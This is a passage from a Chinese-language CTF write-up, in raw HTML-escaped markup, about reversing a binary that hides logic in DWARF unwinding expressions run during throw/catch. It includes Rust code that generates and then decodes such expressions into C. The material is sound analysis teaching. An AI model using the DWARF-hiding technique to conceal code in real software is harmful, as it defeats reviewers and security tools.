&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_dup);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, num, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_swap);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_drop);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; rand_num:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rng.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;gen&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, rand_num, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, num, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_swap);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_drop);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; rand_num1:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rng.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;gen&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; rand_num2:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rng.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;gen&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, rand_num1, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, rand_num2, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, num, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_rot);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_drop);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_drop);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;_=&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;{}
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;writeup&quot;&gt;WriteUp&lt;&#x2F;h1&gt;
&lt;p&gt;通过IDA反编译发现程序必定会输出&lt;code&gt;Success! Your flag is flag{%016lx%016lx}\n&lt;&#x2F;code&gt;，但是通过运行程序发现输出的是&lt;code&gt;Error&lt;&#x2F;code&gt;。研究一项输出&lt;code&gt;Error&lt;&#x2F;code&gt;的条件，发现是&lt;code&gt;r13&lt;&#x2F;code&gt;不为0时输出，那么通过调试可以发现是在&lt;code&gt;throw-catch&lt;&#x2F;code&gt;的过程中修改了&lt;code&gt;r13&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nothingchu-ti-si-lu-ji-wp&#x2F;image-20220627174136776.png&quot; alt=&quot;image-20220627174136776&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bbs.pediy.com&#x2F;thread-271891.htm&quot;&gt;通过DWARF Expression将代码隐藏在栈展开过程中&lt;&#x2F;a&gt;这篇文章，可以得知有可能是在DWRAF中恢复寄存器的表达式中做了手脚。通过&lt;code&gt;readelf -wf nothing&lt;&#x2F;code&gt;查看得到大量信息。其中有4段&lt;code&gt;DW_CFA_val_expression&lt;&#x2F;code&gt;非常长就是恢复寄存器所运行的表达式，具体指令含义请参考文档&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dwarfstd.org&#x2F;doc&#x2F;DWARF5.pdf&quot;&gt;DWARF 5 Standard&lt;&#x2F;a&gt;(2.5 DWARF Expressions)。显然这种长度手工分析已经不可能了，因此这里写了一个简单的分析器，他可以把这些栈操作变成c代码，然后通过编译器的&lt;code&gt;-O3&lt;&#x2F;code&gt;优化，可以得到较为简单的表达式。&lt;&#x2F;p&gt;
&lt;p&gt;分析器代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; [dependencies]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; gimli = &amp;quot;0.26.1&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; object = &amp;quot;0.29.0&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;std::{collections::HashMap, fs, fmt::Display, io::Write};
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;std::process::Command;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;gimli::UnwindSection;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;object::{Object, ObjectSection};
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;() -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Result&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;(), &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Box&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;dyn std::error::Error&amp;gt;&amp;gt; {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; arg &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;std::env::args();
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; arg.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2 &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        panic!(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Argument Error!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; bin_data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;fs::read(arg.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;nth&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; obj_file &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;object::File::parse(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;*&lt;&#x2F;span&gt;&lt;span&gt;bin_data)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; obj_file.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;section_by_name&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;.eh_frame&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; eh_frame &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;gimli::read::EhFrame::new(data.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;, gimli::LittleEndian);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; bases &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;gimli::BaseAddresses::default().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;set_eh_frame&lt;&#x2F;span&gt;&lt;span&gt;(data.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;address&lt;&#x2F;span&gt;&lt;span&gt;());
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; entries &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; eh_frame.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;entries&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;bases);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; file &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;fs::OpenOptions::new().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;truncate&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;create&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;.&#x2F;output.c&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    writeln!(file, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;#include &amp;lt;stdint.h&amp;gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; cies &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;HashMap::new();
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let Some&lt;&#x2F;span&gt;&lt;span&gt;(entry) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; entries.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;? &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span&gt;gimli::CieOrFde::Fde(partial) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; entry {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; fde &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; partial.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;parse&lt;&#x2F;span&gt;&lt;span&gt;(|_, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;bases&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;o&lt;&#x2F;span&gt;&lt;span&gt;| {
&lt;&#x2F;span&gt;&lt;span&gt;                cies.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;entry&lt;&#x2F;span&gt;&lt;span&gt;(o)
&lt;&#x2F;span&gt;&lt;span&gt;                    .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;or_insert_with&lt;&#x2F;span&gt;&lt;span&gt;(|| eh_frame.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;cie_from_offset&lt;&#x2F;span&gt;&lt;span&gt;(bases, o))
&lt;&#x2F;span&gt;&lt;span&gt;                    .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;clone&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;            })&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 通过长度过滤出我们想要的
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; fde.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;entry_len&lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;100 &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;continue&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; instructions &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; fde.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;instructions&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;eh_frame, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;bases);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;gimli::CallFrameInstruction::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;loop &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt; instructions.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Err&lt;&#x2F;span&gt;&lt;span&gt;(e) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                        println!(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Failed to decode CFI instruction: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, e);
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    }
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Ok&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Some&lt;&#x2F;span&gt;&lt;span&gt;(ValExpression {
&lt;&#x2F;span&gt;&lt;span&gt;                                register,
&lt;&#x2F;span&gt;&lt;span&gt;                                expression,
&lt;&#x2F;span&gt;&lt;span&gt;                            })) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                        println!(
&lt;&#x2F;span&gt;&lt;span&gt;                            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;DW_CFA_val_expression (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;, ...)&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;                            gimli::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;X86_64&lt;&#x2F;span&gt;&lt;span&gt;::register_name(register).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap_or&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;{unknown}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                        );
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;display_val_expression&lt;&#x2F;span&gt;&lt;span&gt;(register, expression, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;mut&lt;&#x2F;span&gt;&lt;span&gt; file)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    }
